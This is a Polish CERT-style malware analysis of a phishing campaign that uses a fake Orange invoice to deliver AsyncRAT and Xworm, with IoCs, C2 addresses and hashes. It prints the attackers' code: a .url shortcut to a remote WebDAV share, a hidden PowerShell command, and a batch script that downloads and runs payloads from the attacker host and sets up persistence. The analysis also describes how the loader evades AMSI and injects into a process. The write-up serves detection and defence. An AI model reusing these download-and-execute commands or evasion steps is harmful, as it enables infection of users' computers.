hamburger

(jeśli zgłaszasz przypadek phishingu, zapisz mail (przesuń go z programu pocztowego na pulpit komputera lub wybierz opcję plik/zapisz jako), a następnie załącz)

Podejrzany SMS prześlij na nr 508 700 900

Jeśli zgłoszenie dotyczy bezpieczeństwa dzieci, zgłoś je również pod http://www.dyzurnet.pl
@CERT_OPL

Fałszywa faktura „od Orange” – AsyncRAT/Xworm

W piątek 12 lipca informowaliśmy o kampanii phishingowej, w której pojawiła się fałszywa faktura, podszywająca się pod Orange Polska. Po publikacji ostrzeżenia przyjrzeliśmy się dokładnie złośliwej aktywności pliku, załączonego do maila.

Deweloperzy malware stale doskonalą metody ataku, by jak najskuteczniej wprowadzać złośliwe oprogramowanie na komputery ofiar. Opisywana 12 lipca kampania to jeden z najnowszych i najbardziej złożonych przykładów złośliwego oprogramowania. Atak składa się z kilku etapów, z których każdy ma na celu obejście zabezpieczeń, prowadzące do ostatecznej instalacji złośliwego oprogramowania.

Mail, a w nim fałszywa faktura

Pierwszym krokiem jest rozesłanie fałszywych e-maili, z linkiem do pliku URL, hostowanego na Dropbox. Po jego otwarciu ofiara pobiera plik LNK, uruchamiający plik wsadowy BAT. Ten ostatni nie tylko pobiera archiwum ZIP ze skryptami w Pythonie, ale również otwiera pliki PDF. Mają one uśpić czujność użytkownika uwiarygodnić całą operację. W tym czasie skrypty dekodują kod maszynowy, ten zaś uruchamia nowy proces, do którego się wstrzykuje. Pozwala to na uruchomienie docelowego malware – AsyncRAT lub Xworm – w zależności od wykonanego skryptu.

Przyjrzymy się więc pierwszemu etapowi ataku. Najpierw zobaczymy jak wygląda mająca nas przekonać do instalacji złośliwego kodu fałszywa faktura.

Po kliknięciu w “Pobierz fakturę” otwiera się link hxxps://dl.dropboxusercontent[.]com/scl/fi/rodrbkssuye41k22dh0c2/doc.0949024234242.zip?rlkey=fvudx7uya72tebt3t9tzoc2nl&st=qbczn8xv&dl=0

To link prowadzący do publicznej chmury Dropbox, a na niej – do pobrania pierwszego etapu malware, czyli pliku doc.0949024234242.zip.

Analiza kolejnych etapów malware’u

Etap 1. doc.0949024234242.zip

Po wypakowaniu archiwum zip uzyskujemy dostęp do pliku doc.02994204242.url o następującej treści:

[InternetShortcut]
URL=file://jvc-smooth-tribunal-disks.trycloudflare[.]com@SSL/DavWWWRoot/SC700T.lnk
IDList=
HotKey=0
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,9

Przedrostek file:// wskazuje w tym przypadku na zasób zewnętrzny w domenie jvc-smooth-tribunal-disks.trycloudflare[.]com. Gdy użytkownik wykona plik url, SC700T.lnk zostanie pobrany.

Etap 2. SC700T.lnk

Plik lnk, który uruchamia poniższe polecenie:

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -w Hidden -Command "mv '\\jvc-smooth-tribunal-disks.trycloudflare.com@SSL\DavWWWRoot\new.bat' \"$env:USERPROFILE\Downloads\new.bat\"; start \"$env:USERPROFILE\Downloads\new.bat\" -WindowStyle Hidden"

W wyniku powyższego do folderu Downloads w katalogu użytkownika zostaje pobrany skrypt new.bat.

Etap 3. new.bat

Plik wsadowy zakodowany był w następujący sposób:

Za pomocą polecenia set ustawiana była zmienna używana do dekodowania następnego polecenia. Pierwszym poleceniem set ze skryptu new.bat było:

set "\xc3uW\xc3\xc3=o1lVyswtHQr8z6DT5p@dq9fKACPXnbvG eSULOixWMuEjB4Fam37I20RgZcYhNkJ”

W kolejnym kroku podstawiane były znaki ze zmiennej  “xc3uW\xc3\xc3”, czego efektem było polecenie:

%\xc3uW\xc3\xc3:~18,1%%\xc3uW\xc3\xc3:~5,1%
(..)
%\xc3uW\xc3\xc3:~50,1%

W przypadku powyżej najpierw podstawiany jest 18. znak ze zmiennej „xc3uW\xc3\xc3”, następnie 5. znak i tak do sparsowania całości. Jako wynik otrzymujemy następne polecenie set. Proces trzeba powtórzyć i tak do otrzymania końcowego skryptu, który przedstawia się jak poniżej:

@echo off
setlocal

echo Opening first PDF file...
start "" "https://jvc-smooth-tribunal-disks.trycloudflare.com/policy.pdf"
timeout /t 5 >nul  REM Wait for PDF to open (adjust timeout as needed)

:: Variables for downloading the ZIP file
set "zipUrl=https://jvc-smooth-tribunal-disks.trycloudflare.com/plat.zip"
set "destination=\Downloads\plat.zip"
set "extractTo=\Downloads"

:: Use Invoke-WebRequest to download the ZIP file
echo Downloading ZIP file...
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '' -OutFile '' }"

:: Extract the ZIP file using Expand-Archive
echo Extracting ZIP file...
powershell -Command "& { Expand-Archive -Path '' -DestinationPath '' -Force }"

:: Navigate to the Python folder and run the scripts
echo Running Python scripts...
cd /d "\Downloads\Python\Python312"
python.exe x.py
python.exe eu.py
python.exe blo.py
python.exe loader.py
python.exe hey.py

echo Opening second PDF file...
start "" "https://jvc-smooth-tribunal-disks.trycloudflare.com/a.pdf"
timeout /t 5 >nul  REM Wait for PDF to open (adjust timeout as needed)

:: Download the update.bat file after opening the second PDF
echo Downloading update.bat file...
set "cmdUrl=https://jvc-smooth-tribunal-disks.trycloudflare.com/update.bat"
set "cmdDestination=\Downloads\update.bat"
powershell -Command "& { [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-WebRequest -Uri '' -OutFile '' }"

:: Move update.bat file to the user's startup folder
echo Moving update.bat file to startup folder...
set "startupFolder=\Microsoft\Windows\Start Menu\Programs\Startup"
move "" ""

echo Cleaning up...

:: Delete new.bat file (if exists)
if exist "\Downloads\new.bat" (
    del "\Downloads\new.bat"
)

:: Delete plat.zip file (if exists)
if exist "" (
    del ""
)

:: Hide the Python folder
attrib +h "\Downloads\Python"

echo Script execution completed.
endlocal

Efekt jest pobranie pliku plat.zip, wypakowanie jego zawartości do folderu Downloads, uruchomienie skryptu napisane w języku python z wypakowanego pliku plat.zip. Następnie dla zmylenia użytkownika otwiera dokumenty a.pdf:

oraz policy.pdf

Następnym krokiem jest pobranie pliku update.bat. Zamysłem autorów najprawdopodobniej było ustawienie za jego pomocą persystencji. Jednak ostatecznie nie przenieśli go do odpowiedniego katalogu, ponieważ w poleceniu move są jedynie puste łańcuchy znaków:

move "" ""

Ostatni etap i podsumowanie

Po wypakowaniu otrzymujemy plik wykonywalny interpretera języka python oraz kilka skryptów: x.py, eu.py, blo.py, loader.py, hey.py. Każdy z nich dekoduje i uruchamia loader odpowiedzialny za docelowy malware. Sam loader przypomina nieco zmodyfikowaną wersje lazzzy https://github.com/capt-meelo/laZzzy/tree/main. Po uruchomieniu patchowane są funkcje AmsiScanBuffer, AmsiScanString, wldpQueryDynamicCodeTrust, WldpIsClassInApprovedList. Dzieje się to jednak w sposób taki, by nie wykonały działań, które powinny wykonać, a po prostu zwracały 0. Przykład funkcji wykonującej patch  AmsiScanBuffer oraz AmsiScanString:

AmsiScanBuffer oraz AmsiScanString to części Antimalware Scan Interface, które pozwalają na przeskanowanie danej pamięci przez zainstalowane oprogramowanie antywirusowe. Jako iż docelowy malware jest napisany w .NET, nadpisywane są też funkcje wldpQueryDynamicCodeTrust oraz  WldpIsClassInApprovedList.

Następnie deszyfrowany jest kod, który uruchamia proces notepad.exe i wstrzykuje się do niego za pomocą techniki Early Bird APC Queue (https://www.ired.team/offensive-security/code-injection-process-injection/early-bird-apc-queue-code-injection). Opisywany loader nie używa wywołań API Windows, a kod sam wykonuje odpowiedni syscall do jądra systemu. Kod wykonujący wstrzyknięcie uzyskany z repozytorium github:

Do procesu notatnika jest wstrzykiwany ten sam kod, który był zdekodowany w skrypcie python i tym razem po spatchowaniu funkcji opisanych wcześniej, deszyfruje on docelowy malware, a następnie uruchamia go w kontekście procesu notepad.exe. Każdy skrypt posiadał loader, który uruchamiał inny malware, przedstawia się to następująco:

hey.py → AsyncRat c2: hxxps://pastebin[.]com/raw/zNe6NH5y dcxwq1.duckdns[.]org:4449
f8be81c64b2719f76929da80a7592fc453be08f3f5dabc9a263877f4da75f31b

blo.py → AsyncRat c2: 157.20.182[.]172:3232 6378a8daf10e743257545d25aac7166b6532cfa4d5bc1e0d0c348123c05f2683

eu.py → AsyncRat c2: 45.66.231[.]150:3232 a6fd20f1b792705fc13ad09dda432797539aa715e7dcfd54680b1bc74f49f71a

x.py → Xworm c2: 157.20.182[.]172:7000 674d985460427fde35437291ab3ea3d8102fd33f9f0442b26694e9f5b7e605b0

loader.py → Xworm c2: 157.20.182[.]172:8000 6af58141b5161c7b10839ee71900e41853243b254ff28d19f5bed950e5ab1d82

Analiza pokazuje jak atakujący mogą bez sięgania po nowe techniki łączyć te już znane, aby dostarczyć nieświadomemu użytkownikowi docelowy malware (lub kilka, jak w opisywanym przypadku). Pobranie zip i kliknięcie w plik url powodowało infekcję… trzema AsyncRAT’ami oraz dwoma Xwormami. Łańcuch infekcji możecie zobaczyć poniżej.

Arkadiusz Bazak

IoC

doc.0949024234242.zip
cf7e03df2a8df21233d08422a5ae19d1acc03f491d60fd33eec215ceb9925235

doc.02994204242.url
aabbfb736f8878910405d1fe887f804159f0dd05ce4e34570befde3aa9d1a7cf

new.bat
1a3cd7ea2c571c16b7c57abae007243cd3e79c8b59e1deab026a4d6403314e14

plat.zip
4bb6ca3a4f3bd5f2357c983d7f767ee203112765e86ba38b017bb202b74e9853  

SC700T.lnk
a3c36e018ec89e6b43fd4ae2a7e81b96266fb57787a31cedefb52187e3f6691e

AsyncRat
f8be81c64b2719f76929da80a7592fc453be08f3f5dabc9a263877f4da75f31b   6378a8daf10e743257545d25aac7166b6532cfa4d5bc1e0d0c348123c05f2683   a6fd20f1b792705fc13ad09dda432797539aa715e7dcfd54680b1bc74f49f71a

Xworm
674d985460427fde35437291ab3ea3d8102fd33f9f0442b26694e9f5b7e605b0   6af58141b5161c7b10839ee71900e41853243b254ff28d19f5bed950e5ab1d82

blo.py
39b377f4119a380dbe07108cf203f9c833bce6120f5dd8779820d0fae3dadb0d  

eu.py
9ad90785140cabe52ca855f81014fd7a2337ca15b1b130ee7f9d22de0c4488ac

hey.py
4d86fdf825c7fdf093f9d1ad768563da67293adf1a8418085ca7c62c14c9d6fe

loader.py
b87f5b8abd70c0b13ec9dcfbe17a5c642c56387cbfd52773638d073668738ab3

x.py
83be34edfc08c0be569ba4c6ced914322cb6689034746bbeb9167dcf717b82fa  

blo.py shellcode
1650bb3ca3038e304df0004a32749fc0601843eaa3f076e3476b80b003d3a21a

eu.py shellcode
f8676228c52240674cfc6763ae5ffc5e5cbb54e8307c10599d59b884453c1b2d  

hey.py shellcode
770e03c55180142b11c11777d8e7f61f84c1cf9c10e6550df97077aaaceeb835

loader.py shellcode
d7886a7383c70e0db3736b98d33f8ea827f2a050d8829c0902a00035ba32c90b

x.py shellcode
6c0934447a5748929316ebc49d755f37b5a70bd2dd913a23e6a0e7f03a839882  

AsyncRAT c2
dcxwq1.duckdns[.]org:4449
157.20.182[.]172:3232
45.66.231[.]150:3232

Xworm c2
157.20.182[.]172:7000
157.20.182[.]172:8000

Distribution domain
hxxps://jvc-smooth-tribunal-disks.trycloudflare[.]com


Dodaj komentarz

Twój adres e-mail nie zostanie opublikowany. Wymagane pola są oznaczone *

Zobacz także